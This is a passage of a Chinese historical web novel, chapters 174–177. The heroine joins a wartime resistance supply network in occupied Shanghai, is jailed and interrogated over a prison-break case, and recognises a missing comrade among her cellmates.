“放心吧,不会让你去杀人放火。”常文远道:“对你这几年的作为,我们初步也有一个了解。只是以前你单打独斗,想做点什么,没人同你帮手。你加入了我们,有点什么事,我们也好更方便沟通。当然,要是有了需要协作的任务,到时候我会通知你。” “那不是跟以前一样吗?”春妮想起曾看过的谍战片,神秘问道:“真的不要我去打探什么情报之类的?” 常文远笑起来:“你觉得你能打探到什么情报?” 怕她羞恼:“我们的分工很细致,你的长才不在这里,我们会让你做最适合你的工作。” “那是什么?” 第174章 174 蹦床 常文远手指沾着水, 在桌上写下四个字。 “搜集物资?”春妮失声念出来。 在那一瞬间,她几乎以为对面人发现了她身上的玄机。 但春妮从来不觉得有了空间就等于高枕无忧,一有机会就训练身边的人学会自己藏匿处置敏感物资, 就算有不得不动用到空间的时候, 那也是慎之又慎。要说真有人发现,那也该是夏生,该是方校长,怎么都不该是常文远这个跟她数年不见,远隔千里,彼此都不甚了解的陌生人。 春妮定了定神,果真常文远道:“这不是你一个人的任务。上边给我们的意见, 是让我们建立一个以海城为中心的物资集散处。你的位置靠苏河和吴江码头近,那边进出港的物资多, 平时要是有望远镜,高档机油这样华国很难买到的军需物资,记得多注意一下。”顿了顿,他补充道:“像是石油, 棉花,粮食这样的大宗货物, 要是有机会,我们也可以想想办法,大本营什么都缺。” 这个年代战乱多, 兼之烟土赚钱,许多田地要么抛荒, 要么被军阀土匪统治,逼迫百姓改种烟土,间接抬高了基础农产品的价格, 反而粮食棉花这些东西从西方国家统治的东南亚殖民地进口更加便宜。 他这样一说,春妮就明白了。原来是她年前去港城那一趟,回来带了副望远镜送给涂铁柱叫他们知道了。至于高档机油,她这两年断断续续出清了不少手上的存货,因为货源不多,加上她认为有了些名声更方便出货,并没有都放到地下市场。想必这些消息让大本营知道,综合以上考虑,对她作出了最合理的安排。 常文远特意挑出这两件东西来说,看来是对她作出了很详细的调查。 她的空间,夹带违禁物资实在是最方便不过。 但常文远的话让她有一点疑虑:“抗战都这么些年了,你们才想起来到海城搜集物资?是不是太晚了点?以前是怎么过的?” 常文远苦笑一声,神情寞落下来:“既然想拉你入行,我今天将风险也同你说了罢。在你之前,我们是有一些人专门负责物资问题,但在一个月前,我们的人被76号发现,地下组织破坏严重。我临危受命,被派了回来重新组建物资渠道。你要是害怕风险,也可以当我今天的话没说过。” “那些人,现在都怎么样了?” “据我所知,有一些已经被枪决了。” 这时,包间的门被叩响:“老板,上菜了。” “上点酒来。”春妮突然道。 常文远皱眉:“你个小姑娘家喝什么酒?” “让你上你就上,废话这么多。”春妮突然发火。 “老板?”侍应生有些不知所措,看着常文远。 常文远微怔,只好挥了挥手:“温一小坛女儿红来。” 见春妮没再说什么,侍者合上门退出房间。 不一时,温好的黄酒端在托盘里被盛上来。 春妮制止常文远,亲自倒了酒,托在掌心,站起身,面向西方虚虚一拜,回身洒在地上,低声道:“一杯水酒,不成敬意。前辈们,一路好走。你们没做完的事,今后,由我来代你们完成。” “各位,好走。”从她起身开始,常文远也站了起来。 两人肃立片刻,回首坐回座位,已经没有了先前那般轻松适意的心情。就连色泽红润,饱满多汁的红烧狮子头端上桌,也无法再引动人的馋涎。 “说吧,我的第一个任务是什么。”默默吃完一颗狮子头,春妮打破了沉默。 “因为之前的渠道被破坏了一大半,我们现在需要再建立一个长期有效的运输渠道。你要是有这方面的推荐,可以告诉我。” 常文远说起这话,原本没有抱太大希望,不想春妮沉思片刻,问道:“你要不要求合作对象一定是自己人?” 常文远扬了扬眉:“是自己人当然更好,如果不是的话,他有能力将东西运到大本营,我们也很欢迎。” 春妮笑了笑:“是不是自己人,我不好说死,他有没有能力运到大本营这么远,我也不清楚。我能肯定的,只有两条。第一,他一定有能力把我们的东西运出海城,第二,他欠我一个人情。” “哦?说说看,这个人是谁。” “唐竞海唐四爷。”春妮咬着狮子头,说出一个名字。 常文远把记忆里的人名扒拉一遍,不由也露出了一分惊容:“唐四爷,竟然是他?他竟欠你的人情?你确定他会帮你的忙?” 春妮又挟了一筷狮子头,放在嘴里细细咀嚼,撇了撇嘴:“谁帮谁的忙还说不定,这位唐四爷内囊空虚,偏又拉不下面子出来做生意,说不定就等着发你这注财。” 春妮说的唐四爷,正是唐宝芸的父亲,他的家族曾经在海城交通运输业统领半壁江山。 虽然随着唐老爷子的死,以及政府败退到海城,唐家早不复先前的辉煌,但瘦死的骆驼比马大,唐家人若肯在这方面施以援手,想必对他们重建运输渠道会有不小的助力。 当年春妮查出唐四爷偷偷从港城贩运鸦|片,还将唐宝芸从拆白党手中救出,事后却没有就此要胁,也未曾宣扬出去,只私下里要求他们同纳尔逊一样,关键时候帮她一个忙,已经释放出了足够的善意。 她有九成以上的把握,唐四爷会帮这个忙。 毕竟他们违背祖训,连鸦片都敢卖,给来历不明的内地反抗分子牵个线又算什么? 这个年头,就算那些真下水当了汉奸的人,也还要私底下为自己多结几条善缘,多铺几条路,何况是唐家这样门路广阔思想灵活,还能屈能伸的大家族? 说来最近一次春妮听到唐宝芸的消息,是她年初在港城跟几个名媛,还有双城政府要员的太太筹办了“一碗饭运动”,动员酒店饭馆用成本价,发起卖“爱国饭”的倡议,短短两个月,便为救国抗战募集到了几万圆军资。这个运动影响范围甚广,消息都传回到了海城。 看来经过感情打击,唐宝芸也走了出来,不再着眼于小情小爱,将目光放到了更广阔苦难的天地上。 春妮没细说她跟唐家的恩怨,给常文远写了张条子:“我这几天不方便出面,你要是觉得没问题,拿着这张条子去唐家,他们不会拒绝的。” 原本两人这次意外碰面,常文远请她吃饭只为叙旧,不想话赶话聊到这里,两人不觉越聊越深,待到盘净杯干,该说的都聊得差不多,时间已经快到了晚上九点。 菜馆的窗户采用的是苏式园林支摘窗的装潢,常文远将窗子启开一条缝,春妮顺着缝隙看过去,这会儿街上行人已经不剩下几个。 倭国人这些天一直宵禁,虽说现在离正式宵禁的时间还剩下半个钟头,但保险起见,一般到天黑之后,街上的人就非常少了。没有必要,人们不再在夜间外出,连每天晚上出来摆摊卖小吃的摊贩好些天不见踪影,哪里还像歌里唱的“不夜城”? 常文远想了想,道:“天太晚,你今天晚上不要走了,就在这住一晚上吧。” 春妮行走在外,时常有行宿将就的时候,闻言并不扭捏:“也好。” 他起身将春妮引到包间之后的最后一间房间 ,是个小小的客房,里头一张床,一张书桌。床上叠放的被子零散,显然是有人住的。 “这不会是你住的地方吧?”春妮猜测道。 常文远承认了,说道:“我一会儿给你再拿床被子来。” “那你住哪?” 他指指外头:“两张桌子拼一拼,我睡在那上面就行了。” 春妮皱眉:“这样不太好吧。” 常文远以为她是不好意思,正欲出言宽慰,却听她道:“住在自己店里的老板怎么叫大老板?太寒酸了,会被人怀疑的。你必须尽快搬出去,还得找个差不多的房子。” 常文远苦笑:“我也知道,但我刚到海城,对形势预估不足。盘铺子要交税金,倭国人只接受中储券兑换法币,五十块法币才换一块钱中储券,等过了一天,又骤降到二十比一,简直比跳蹦床还刺激。我急着安顿下来,头一天用五十比一的价钱盘下这间铺子,等什么都操办完毕,我手里的钱已经不剩几个了,手里事务一堆都要等着用钱。只能先住在这,再找机会想想别的办法。” 春妮买房子还是数月前的事,听见他的报价,不觉咂舌:“五十比一?这些倭国人是脸都不要了吗?怎么不直接发白纸来抢?现在的兑换比例是怎样?” 常文远冷笑道:“他们什么时候有过脸?现在倒是稳定在了五十比一。算了,不说这些了,热水在水瓶里,你要用自取。” “等等,”春妮犹豫了一下:“你要住房子的话,我那里有一套还空着,明天你就搬过去吧。” 常文远惊异道:“还说我是阔人,你才是阔人吧?一套房子,轻轻松松说拿就拿出来了。” 春妮也觉得庆幸,自己下手得早,否则等到现在的乱相,恐怕又要平白花不少冤枉钱,当即笑道:“那你可别忘了,要好好巴结我。” 当天晚上两人各自歇下不提,第二天上午,春妮领着常文远去了公共租界的另一套房子,至此,这位摇身一变的“大老板”总算安顿了下来。 而时间一晃一过,十来天过去,也到了春妮该回学校的日子。 回家的前两天,朱先生已经从夏风萍处转告她,这段她不在的日子里,倭国人已经去学校转悠了好几次。 她为常文远解决好后顾之忧,现在,轮到她自己上场了。 第175章 175 大案 选在十月中旬的一个上午, 春妮脑袋上别着一朵小白花,就像以前出公差的许多回一样,提着竹箱, 一个人低调地返回学校。 春妮跟李铁柱几个学生经常出门, 这几年,老师们也习惯了他们神出鬼没,一连好些天不在家,问起来谁都不知道的状况。 现在是上午十点多钟,学校正该上课的时候,十月清晨的校园安静得有些让人吃惊。 春妮穿过校道,这里在一年前由老师带着学生们种下了代表长青的黄柏树, 以及一些香樟树和法国梧桐,此后每年有了条件, 学生们都会在教学楼和宿舍楼等地移栽一些乔木和常见花卉。如今这些树都还不甚高大,以前透过树冠,可以随时看到操场那边喊着号子跑跑跳跳的学生们,可现在一个人影也没见。 要不是刚刚从教学楼那边走过去, 看见学生们都好好坐在教室里,春妮差点以为又出了什么事。 “韩师父, 怎么学校里没几个老师?”回房搁好行李,春妮返回校门口问韩师父。 在海城的这几年,因为春妮承诺的印刷厂和油画印刷虽说有稳步进步, 但迟迟没有太大的进展。韩师父也渐渐低调沉默,平时除了逾发潜心教授自己的几个弟子, 真将自己当成学校的门房,为学校守起了门。 “他们啊,都去买米去啦。”韩师父坐在大门边磕旱烟杆子。 “所有老师都去了?” “那不都去怎么行?”韩师父给春妮提来小马扎让她坐下:“顾老师, 你才回来不晓得。前几天工部局宣布,平价米每人最多只许购买三升,三升要卖四块钱,不到三天,就涨到四块一毛钱,这么涨下去,大家谁还坐得住?现在老师们哪有心情上课?每天来学校第一件事,就是结伴排队去买米。” 他大声叹气:“鬼子不做人。要不是学校人全走了没人看门,老头子我都想去排排队。” 现在的计量单位,一升米就是一斤米。 别看春妮每次买东西习惯用大洋计算,但实际市面上很少有大洋流通,大家买普通日用品,一般还是用法币结算。学校老师一个月平均工资也才一百来块钱法币,三斤米就卖四块钱,的确是要活不下去的架式。 人老了话也多,韩师父以为春妮去了外地不明白情况,又特地提点她:“倭国人这几天又开始限电,不准我们超过近三个月用电的平均数。超过一度电,罚款二十五倍,超过两次就要停电。你回来了可得注意些。”【注】 这时,他看到春妮头上的小白花,拉下脸道:“小姑娘恁个不懂事,白花别在头上是戴孝的,真是晦气。”说着,他站起来准备走开。 “不是随便别的,”春妮扶了扶头上的花,说出早就准备好的话:“我这次跟义兄回乡,他途中遇到流匪,不幸被——” 实在哭不出来,春妮以手掌半握,捂住了眼睛。 这是她跟罗阿水早就商量好的说辞,正好为他的无声离开作一个注脚。 韩师父半张了嘴:“罗阿水?那么本事的一个后生,他没了?” 春妮点点头,韩师父急问:“他是怎么没的?这咋回个乡,还把命丢了咧?” 说话间,老师们陆陆续续回来了。 他们每个人手里都提着一个拉环布口袋,来不及跟春妮打招呼,急忙忙跑回各自的教室,开始了一天的教学。 “再这么下去,干脆我把每天上课时间挪到上午十点半,叫老师们先买了米再来上课。”方校长突然出现在拐角。 春妮老远听见他的声音,脖子一缩,提起手里的小马扎就要往学校里溜。 偏方校长眼睛尖,一句话喝住她:“顾老师,你来我办公室一趟。” 春妮搁下马扎,跟在方校长后头,讪讪的:“……校长。” 方校长也是拿她没办法,打吧,孩子主意太正,哪是打两顿就掰得过来的?骂吧,她又不是干坏事,哪舍得骂出口? 他运了半天气,还是只问了这一句:“你自己说,你回来准备做什么?” “巡捕房的人不是来学校找了我几次吗?我打算一会儿去一趟,把这事跟巡捕交代清楚。”春妮是学校的人,不管做什么事,都绕不开学校的影响。 因此,尽管她知道说出这话方校长会是什么反应,还是硬着头皮把自己原来的打算说了。 方校长倒吸一口气:“你知道你在说什么吗?巡捕房现在全调的是倭国巡捕的人,要么就是那些倭国军人。你进去了,还以为自己跟前些年一样,能好好出来吗?” 春妮知道他这些日子一直为自己担着心,需要发泄。她垂着脑袋,让方校长喷了半天,小心翼翼抬起头,道:“我回来的事,这一路上都有人看见。就算我躲着一时不去,巡捕房也不会放过我,还不如我自己主动点,免得又多生一些事出来。您不是说,咱们学校也是有倭国人董事 吗?连社长白拿工厂这么些年的分红,也该为我们多出些力了。” “这老小子狡猾得很,想指望他帮忙,还不如做梦。”说完这一句,方校长忽然拿手捂住眼睛,声音哽咽:“你这孩子,就没一次让人省心过。” 顿了顿:“别一个人去,等我找王老师支点钱,跟你一起去巡捕房走一趟。” 春妮低声“嗯”了一声,从办公室里退出来,又回了一趟自己房间。 夏风萍正在她房里坐着。 因为朱先生的事,两人前些日子避着人见了一面。春妮知道,自从朱先生受伤躲起来之后,夏风萍一个人住别墅害怕,便搬回学校,还住在她跟夏生的房子里。 她正在床上收拾东西:“我刚刚看见你回来了,没来得及叫你。索性趁这会儿没课,收拾收拾衣裳,今天晚上就回去——” “不用,”春妮按住她的手:“我一会儿就走,你尽管在这住着。” “怎么才回来就走?”夏风萍担心道:“该不会还是那事吧?” 春妮点点头:“总要给那些狗东西交代一下。我回来是跟你说朱先生的事,我给他留了好几天的饭菜,他伤口也合拢了,你有个心理准备,应该在这几天里,他也会回来。” “那你心里是怎么打算的?我上次听你说没事,还以为那些倭国人你已经搞定了。” “你别慌,我这次回来就是——” “顾老师,可以走了。”门外头方校长在叫她。 春妮松了口气,丢下一句“帮我照顾好夏生”,起身出了门。 巡捕房离学校原本就隔着,校长领着春妮却走了近半个钟头才到。 春妮站在外面,原先守门的印度警卫不知所踪,换上的两个人中,全都是跟她如出一辙的亚洲面孔。 她看方校长犹犹豫豫的,干脆拨开他,先一步走了进去。 “你就是那个协助白云铠逃出来的女人?”听完他们的来意,这位自称姓高桥的警官吃惊不已。 春妮连忙摇手,否认三连:“警官,我冤枉啊,我刚刚才知道白云铠逃出来的消息。事发的时候,我可不在海城啊。” “是啊,警官。我们顾老师就是个老老实实的小姑娘,您真的弄错了。”方校长熟练地掏出十几块大洋,赔笑塞给他。 “是不是冤枉的,我们查了才知道。”他顺手将大洋全摸进自己兜里,掏出手铐,往春妮手上一铐,将她押起来:“顾春妮,你涉嫌参与俘虏营劫营行动,打伤执法人员,破坏租界秩序,先跟我去调查一趟。” “啊?高桥警官,高桥警官!”方校长大惊失色,急忙追了上去。 春妮赶紧回头向校长连使眼色:“校长,你知道我是冤枉的,快找律师来救我,救命啊!” 这次回来之前,常文远就春妮即将面临的境况给她作了个分析。他的意思是,倭国人初掌租界,肯定要以稳定为主。租界就被反抗分子在市中心放走了三百多名俘虏,还给了白云铠以死抗争,洗刷污名的机会。 这无疑是个让倭国人面上无光的大案。 为了震慑华国人,倭国人不可能让这件事无疾而终。从时间和动机上来看,春妮都有重大作案嫌疑。按照常理,他们肯定会扣押她,直到案件有结果为止。之所以春妮坚持返回海城,就是想到这点,怕连累学校。 但这件事会不会以她落入倭国人手中任其摆布为结果,里面有很大的操作空间。 白云铠在海城人心中地位特殊,倭国人就算抓她,也不敢以她窝藏白云铠,助他劫营的名义来关押。他们想稳定局面,对这震惊华国上下乃至国际社会的第一案反而要谨慎为之。 春妮这些年在海城经营,并不是没名没姓的人。相信倭国人也很明白,惹急了她,她也能制造出不小的麻烦。 这些话,她一路跟方校长分析了很多遍。 春妮怕方校长随时反悔将她拉回去,隐去了自己可能会被倭国人关押审讯的可能。 她被高桥用□□顶在腰间,身不由己往前走去,数着自己的心跳,慢慢平静下来。 第176章 176 压力 “说, 你跟白云铠到底是什么关系?” 昏黄的审讯室中,这个姓山本的脸在灯光下覆盖着浓重的阴影。 春妮眼神放空,盯着对面墙上的刑具, 那上面黑色的血迹只是半干着朝下滴落, 可以想象,上一个从上面被解下人的惨状。而不远的隔壁,不知是谁在惨叫。 这已经是三天以来,她面临的第七次审讯,审讯的人也越来越暴燥。 进来之前,春妮有过充足的心理准备,她不会像在英方的巡捕房那样, 那么轻易地过关,或许很有可能会受些罪。 春妮可以从山本的表情看出, 倭国人面临的破案压力非常大。否则,财可通神,按理说方校长带了那么多钱,她就算不会立刻被放出来, 也不可能在短时间之内面临这么高强度的审讯。 倭国人是急了,完全没有了章法。 校长在路上告诉过她, 在她不在的那段时间,倭国人把她家里都翻烂了,自然什么都没找到。 而现在她在他们收到消息之前, 主动“投案”自首,很大程度也打乱了他们的步调。 因为她进警察局这件事, 第二天就有报纸采访报道了出来。 虽然警察不允许包括方校长在内的所有人探视春妮,但外面的消息拦不住她的耳朵。她已经知道,有媒体到了警察局外面, 要求采访她本人,但被警察们给拒绝了。 倭国人不让方校长见到她,原本是一种审讯用的心理战术,让她以为自己陷入了孤立。但这些不太专业的审讯人员不会想到,见不到她,最先发慌的,反而是外面的人。 白云铠可不是一个随便的伤人事件,英国人当年面对的压力成倍转嫁到了这群倭国人身上。 山本的目光在那些刑具和她之间危险地转动,看得出来,他很想做点什么。 但是,校长和春妮也没想到,在她“投案”走进警察局的当天下午,就被秘密转运出来,不知运送到了哪里。现在她身处的地方,是另一个别人都想象不到的地方。 倭国人比他们以为的还要重视这个案子。 “吱哑”一声,门被打开了。 “山本君,这里你用的时间太长,该我了。”另一个跟山本同样穿着黑制服的倭国巡捕走了进来。 “我还没有——” “得了吧,山本君。你已经用了两个小时,你的犯人重要,我的犯人也不是无名小卒啊。” “要不是大仓阁下不让我动用刑具,我怎么会两个小时都毫无所获?如果能够将这个小女孩柔嫩的手指头放进那些夹指中夹一夹,我绝对不会毫无所获!”山本表情阴狠下来。 对面的人吓了一跳,忙道:“山本君可要三思啊,你忘了上面一再叮嘱我们,不能乱动这个小女孩?” 这两个人以为春妮听不懂倭国话,交谈得旁若无人。 山本不满地咕哝:“又要限期破案,又不许我们动嫌疑人一根手指头。上面的人都是做事只用拍脑袋吗?有了什么事,又要我们下面人去顶缸。这个华国人,到底有什么背景?” 山本回头过来,油腻的目光上下打量着春妮:“顾小姐,你比我想象的还有能量啊。你难道是我们上司藏在哪里的女儿?” 其实这件事,春妮也觉得很神奇。她那天来“投案自首”,看见高桥的表情时,已经作好了受罪受刑的准备,特别是发现自己被秘密转运,心都凉了半截。但说出来可能没人会信,到目前为止,她只是精神上有些疲惫,并没有哪里受了不可逆转的伤害。 或许山本认为他往这个看上去很好对付的小姑娘身上施加了不少心理压力,但这些所谓的压力,对春妮而言,反而是最无足轻重的。 方校长最多买通一些巡捕房的巡捕,他应该是做不到把手伸到倭国人控制的牢房这一步。 那么,有能力做到这一切的人…… 至于对方为什么收了钱不放人,春妮觉得,她应该考虑到最坏的情况:如果白云铠的事迟迟找不到真凶,可能对方会随便找几个人顶罪来结案。 虽然春妮在外面有一些能量,方校长也按照计划,弄出了一点动静。但这个案子,倭国人高层也很重视,就算要找替罪羊,肯定不是随便找个阿猫阿狗就能混过去。 原本春妮是最好的人选,但负责审讯她的山本却被上面的人束缚住了手脚。可放她出去,再找一个合适的人顶罪又很难,想必对方这几天也很挠头吧。 一想到对面的人日子也不 好过,春妮的心情就变得很好了呢。 “山本君,可以出来了吧?”他的同事还在催促他。 “顾小姐,没听见让你出来吗?”山本不情不愿地,拽着春妮走出了审讯室。 步出长长的走廊,两个人在一间牢房前停下,哐啷一声,牢房落了锁。 山本睨视着春妮的神色,突然凑近她:“顾小姐,你不要高兴得太早。这件事,不会那么容易就完。” 看见对方瑟缩了一下脖子,山本心中的不满稍有发泄,总算是离开了。 如果山本以前跟春妮打过交道,哪怕他找几个人来打听一下这小姑娘的风评,可能就不会以为她是被吓唬几句,就会心慌意乱露出马脚的一般小女孩。 可他显然不是那些跟春妮只隔条街,以前主要在川陕路巡行,可能还跟她打过照面,挥着警棍撵过她,听过她名声的巡捕。 春妮不知道该庆幸,还是该担心,对方不了解她。 她知道对方没有走远,她越过牢房中满地的污秽,找了个干净的角落,抱着手臂,埋下头坐下来。 她住的这间牢房男女混居,在春妮被运送进来之前,一共有十一个人,两女九男。 虽然男多女少,还都住在一起,但并没有发生什么不可描述的事。 因为这些人中,几乎人人带伤,尤其是男人。春妮才来了三天的时间,已经有四五个人被倭国人带走,再也没有回来过。 这种情况下,所有人要么都在担忧自己的前途,要么被病痛折磨,哪里有心情有体力惹事? “小妹子,你回来啦?他们没有怎么样你吧?”看见她回来,牢房里唯一剩下的女人挪动过来。 她说她夫家姓黄,今年有四十来岁,自称是苏北逃荒过来的流民,丈夫在逃难中病死了,儿女也相继死去。她有一天饿极了,抢了一个倭国人商店的东西,被毒打一顿之后扭送到了这里。 见春妮摇头,她松了一口气:“那就好,你不晓得,每次你出去,我就提着心,生怕你哪一天像小花那丫头一样,被——” 她口中的小花是跟两人同牢的另一个女囚,年纪稍微轻一些,大概二十多岁的模样。春妮进来之后的当天就被拉出去,再也没回来过。 黄婶子咽下口中的话,凑过来问她:“小妹子,你到底是咋进来的啊?那些人也忍心,把你这个花骨朵一般的小姑娘扔进来?” 这话,黄婶子在春妮进来之后已经问过了无数遍。 春妮不想节外生枝,全都含糊过去了。 但现在她环视一眼牢房,发现房间里又少了一个人,而且那个人—— “他们说我放跑了一个叫白云铠的人,还劫了牢,要我认罪,”春妮露出委屈惶恐的眼神:“这么大的罪,他们也不看我一个小姑娘干不干得出来,怎么就非认准了我似的。” 她埋着头,“呜呜”哭了两声,问黄婶子:“婶子,我怎么看牢里又少了一个人?陈大叔他去哪了?” “你说陈疯子?”黄婶子盯着春妮,目光发直:“好像是放了吧。” “哪是放了啊,”牢里另一个犯人道:“我听管教说,他身上有个什么案子,刚刚提出去,说是又要审他。” “人都疯了,还不放过哩人家。”有人大声叹息。 这时,牢房尽头有沉重的脚步声传来。 黄婶子反应最快,第一个扑到栏杆上,巴巴望着走廊,嘴角不自觉分泌出口水:“是放饭了,我听到放饭的声音了。” 牢房里能动的犯人都动了起来,春妮不好落后,跟着扒到栏杆前,没一会儿,两个狱警推着一辆小推车出现在路的尽头。 小推车上的木桶盖子被揭开,冒出腾腾的热气。春妮嗅闻着,这味道有些像腐烂发酵的泥巴味,闻上去没有半点饭菜的香气。 狱警们拿着碗,一个一个舀出清汤一般的饭食,不时大声喝斥着,很快走到了春妮他们这边的牢房。 这时,犯人们的动作已经很夸张了,有两个男囚甚至将头扒到了栏杆外。 轮到他们这边时,狱警们却没有马上开始分发,而是掏出钥匙,口中道:“黄婆子,你可以出去了。” “啊?放……放了我?”黄婶子眼珠子都不会转了,直到巡警抓住她的手臂将她往外带,她“嗷”地一声嚎出来,拼命往后缩:“长官,我不做人我犯了罪,这咋还要放了我?” “说让你走就让你走,”狱警不耐烦了,抽出警棍,闷头闷脑打下去:“黄婆子,你赖着不走,是不是想挨揍?快给老子滚起来!” 黄婶子嚎啕着不停滚动,嘴里翻来覆去只会说两句话:“我犯了罪,长官,我不能走,不能走的啊!” 滚动中,她身上沾满了稻草和人便溺的污秽,别的犯人不以为意,都盯着放饭的桶子不放,春妮可受不了,她不得以后退了两步。 顿时黄婆子的目光落到春妮身上,眼中如有火光迸出,突然向她扑过去:“长官,我真犯了大罪,我跟她一起,我们劫了白……白——” “白云铠?” 第177章 177 消息 尽管倭国人很想让白云铠的案子早日结案, 哪怕使用些不寻常手段也不在乎,但正因此案饱受各方关注,反而不能随意为之。 黄婆子连白云铠的名字都叫不完全, 怎么可能跟春妮是同谋? 最后, 黄婆子连一碗稀粥都没骗到,被狱警毒打一顿扔出了监狱。 要不是春妮跟狱警说好话,又低声劝了黄婆子半天,这个老婆子的性命说不定就交代在这了。 想走的走不了,想留的留不下。 黄婆子的离开并没有让监狱乃至春妮的牢友兴起一分多余的注意力。最近监狱满员,监狱里从上到下,包括狱警在内的囚犯们见多了像黄婆子这样走投无路, 想赖到监狱吃牢饭的流民。 为了能在牢里多住些时日,这段时间, 这些流民有捅人的,有抢劫的,还有偷钱偷东西的……总之,想尽办法赖在监狱里不走。相比之下, 黄婆子抢点吃的,口不择言, 不惜让自己成为劫狱同党,这真的不算什么。要不是因为黄婆子抢的是倭国人商店,她或许都不会被关进来, 因为比她罪行严重的,大有人在, 哪里关得过来? 哪怕这里每天只有中午一顿能照见人影的薄粥果腹,但冬天马上要来,这些出去身无片瓦的流民, 迟早也是面临冻饿而死的命运。 看见其他人已经喝完稀粥,望着春妮的眼神跃跃欲试,春妮威胁性地晃了晃拳头,将他们吓退,护着抢来的粥在角落处坐下。 在牢里待了两天,这几个狱友已经知道,她不像表面看上去那样的好惹。眼睛虽仍粘在那碗粥上不放,却缩在另一边,不敢跨越雷池一步。 趁别人都盯着粥碗,春妮往嘴里塞了一颗糖慢慢吮吸。这两天她一直是这么过来的,幸好她还有空间续命。 不到必要的时候,春妮也不想喝这碗黄乎乎,泛着馊臭味,汤水上面还漂着糠秕稻草的不明物,毕竟谁知道喝下去会不会真的得病。她留着这碗粥,另有原因。 深秋的天气,热烫的稀粥很快凉得透心。 不知又过了多久,牢门再一次打开。两名狱警携着一个人进来,将他扔到地上,再度走了出去。 牢房里其他人躺在原地无动于衷,春妮端着粥走到那人身边,晃了晃那人的头: “陈大叔,陈大叔,起来喝粥了。” 陈疯子“呃呃”连声,两只手在地上一个劲乱抓。春妮忙将粥递到他嘴边,他双手捧住粥碗,喉头快速吞咽。没一会儿,一碗薄粥灌下了肚,他连句谢也没说,翻身倒下。 这时,她的那群狱友中,终于有人说话了:“姑娘,你把粥给陈疯子喝,他连个谢都不会跟你说,你说你图啥呢。” “被审了这么长时间,喝不到一口水,我看这位陈大叔也挺可怜的,给他喝口粥也不废什么,” 她敲了敲栏杆,叫来狱警:“大哥,麻烦把粥碗收一下。” “小丫头这是没吃够苦头,”狱警瞅了瞅粥碗,自以为了然:“你现在喝不下去,再蹲两天,吃|屎也是香的。” 狱警离开后,春妮将陈疯子架起来,挪到了牢房边一个略微干燥的位置。 之前说话的狱友又不满了:“小丫头,陈疯子是你亲爹吧?伺候得这么周到,你是能有个花还是朵?” 春妮视线在陈疯子脸上一掠而过,他胡子拉茬,脸上的皮肉很松,像沙皮狗一般堆叠在脖子边,应该以前是个很有福相的人,只是短时间之内暴瘦,才会形成这样松驰的皮肤。 她如果没认错,这个“陈疯子”应该是在常文远之前,负责大本营海城物资调度的负责人“陈皮”。常文远曾经告诉过她,在他到海城之前,组织经历过一次不小的破坏,包括陈皮在内的绝大部分人都被倭国人秘密抓捕。为了让春妮心里有数,常文远给她看过这些人的档案。 组织通过各种关系找到了不少人,只有负责人陈皮不知何故,一直没人知道他流落到了哪。 春妮没想到,她会在这里找到陈皮。 按照现在的局势,春妮心里清楚,她最好装作不认识陈皮,什么都不要做。 但常文远告诉她,政府军撤走之前,曾因为时间匆促,在海城留下了大量物资。就像他们学校认识的付鸿民那样,因为撤离得太匆忙,导致相当一部分物资和拨款权属混乱,甚至是失去了看管。陈皮所在的小组在出事前就在追查一处政府物资的去向,他最后一次向组织上报情况,就是说的是那批物资他有了重大线索,马上会查到地方,为组织弄到那批物资。 但之后的不久,陈皮所在的物资组就经历了一次覆灭之灾,甚至还影响到了一部分上级成员,要不是组织反应迅速,切断同对方的联系,可能损失会进一步扩大。组织怀疑,陈皮已经叛变了,或者说那批物资是陷阱。 因为春妮不是主要负责人,常文远只是跟她大概讲了讲他们或许可能面临前任的坑,她并不知道她的前任同事们的最新动向。但现在她在这里发现了陈皮,对方还是这样的处境,怎么看也不像是叛徒应该有的待遇。 可是常文远告诉她,陈皮追查的那部分物资是一批数量极其庞大的进口药,别说那批药很重要,因为是前任遗留的待办事项,他们本来就有继续追查的义务。 只是在追查之前,需要确认物资和人员的真正情况。 世事不该从表面看,在没弄清楚陈皮身上发生的事之前,春妮仍然不打算轻举妄动。但这不妨碍她做点什么。 她前两天一直在冷眼旁观,从狱友中的交谈中,春妮得知,负责提审陈疯子的,是个姓路的华国人,还有一个叫川上的倭国人。 其中川上是监狱的监狱长,每次来提审他的,都是川上的人。而那个姓路的华国人从来没现身过,春妮只在川上手下送陈疯子回来时,听他提过一次这个人。 已知信息太少,春妮思来想去,还是觉得,应该从陈疯子入手。 “几位大叔大哥,说起来,进来这么久了,我们都还不认识,不如我们互相认识一下,说说自己的情况吧。” “认识什么啊,都被关到这来了,有今天没明日,谁管你在外头是谁,在里头,统统是张犯人李犯人王犯人,有什么必要认识。” “话不能这么说,”春妮道:“倭国人天天提人进提人出的,进的就不说了,出的人里,谁知道还活不活得了。我可不想死得没声没响的。” “那你还想咋地?放一万响的炮送你升天?有那福气嘛你?” “我意思是,大家自我介绍一番。万一哪天哪位大哥没回来,我们给您念几句经,保佑大哥大叔们下辈子投个好胎。要是有人出去了,也好给家里人带个信。” 这话算是说到每个人心里去了,这几天他们牢房里来来去去,是有两个明说了要放出去的,但还有三四个人,说是提审,提着提着就不见了。打听吧,怕触了管教的霉头,反而让自己被惦记上,不打听吧,心里结着疙瘩,谁敢真的不当回事?谁也不想真的当孤魂野鬼。 “小妹子说得也对,我先来吧。我叫刘昌盛,我是因为跟街头大脚七打架,动刀子见了血,被抓到巡捕房,后来又被转到这的……” 剩下的犯人不多,连春妮在内就五个人。每人说两句,一圈介绍完之后,很快到了最后一个——陈疯子。 刘昌盛拍了他两下,就有人说:“你别把他弄醒了。他说又说不清,还又要打人。” 春妮问道:“狱警们怎么关了个疯子进来?” 牢房里说是自己资历最老,住得最久的老头吴阿福道:“你以为他关进来就是个疯子?他是被那些人打疯的!” 这一点,其他人也不知道,闻言吃惊道:“真的?陈疯子犯了什么事?咋活生生被打疯了?” “这个我哪知道,”吴老头说来也唏嘘:“陈疯子进来前,身上穿的仿绸褂子,口袋外边还挂了个表链,看着就是个员外老爷,可气派了。谁能想到,那些人每天都提他出去,好衣裳好表链头一天就全没了。每回陈疯子回来,身上也没一块好肉,任是谁一连被打半个月,也得疯啊。” 吴老头说话时,春妮一直在观察陈疯子,监狱里昏暗的采光并不影响她的视力。她发现,别看他鼾打得震天响,但他的鼻翼并没有像真正的熟睡那样,张翕得很有节律。 他并不是真的睡着了。 “那这些人为什么要这么对他?他是得罪了人?” 吴老头迟疑了一下,压低声音:“听说,我是听陈疯子没疯的时候说的。陈疯子说他是怀什么罪?就是有人想要他手里的东西。” “怀璧其罪?” 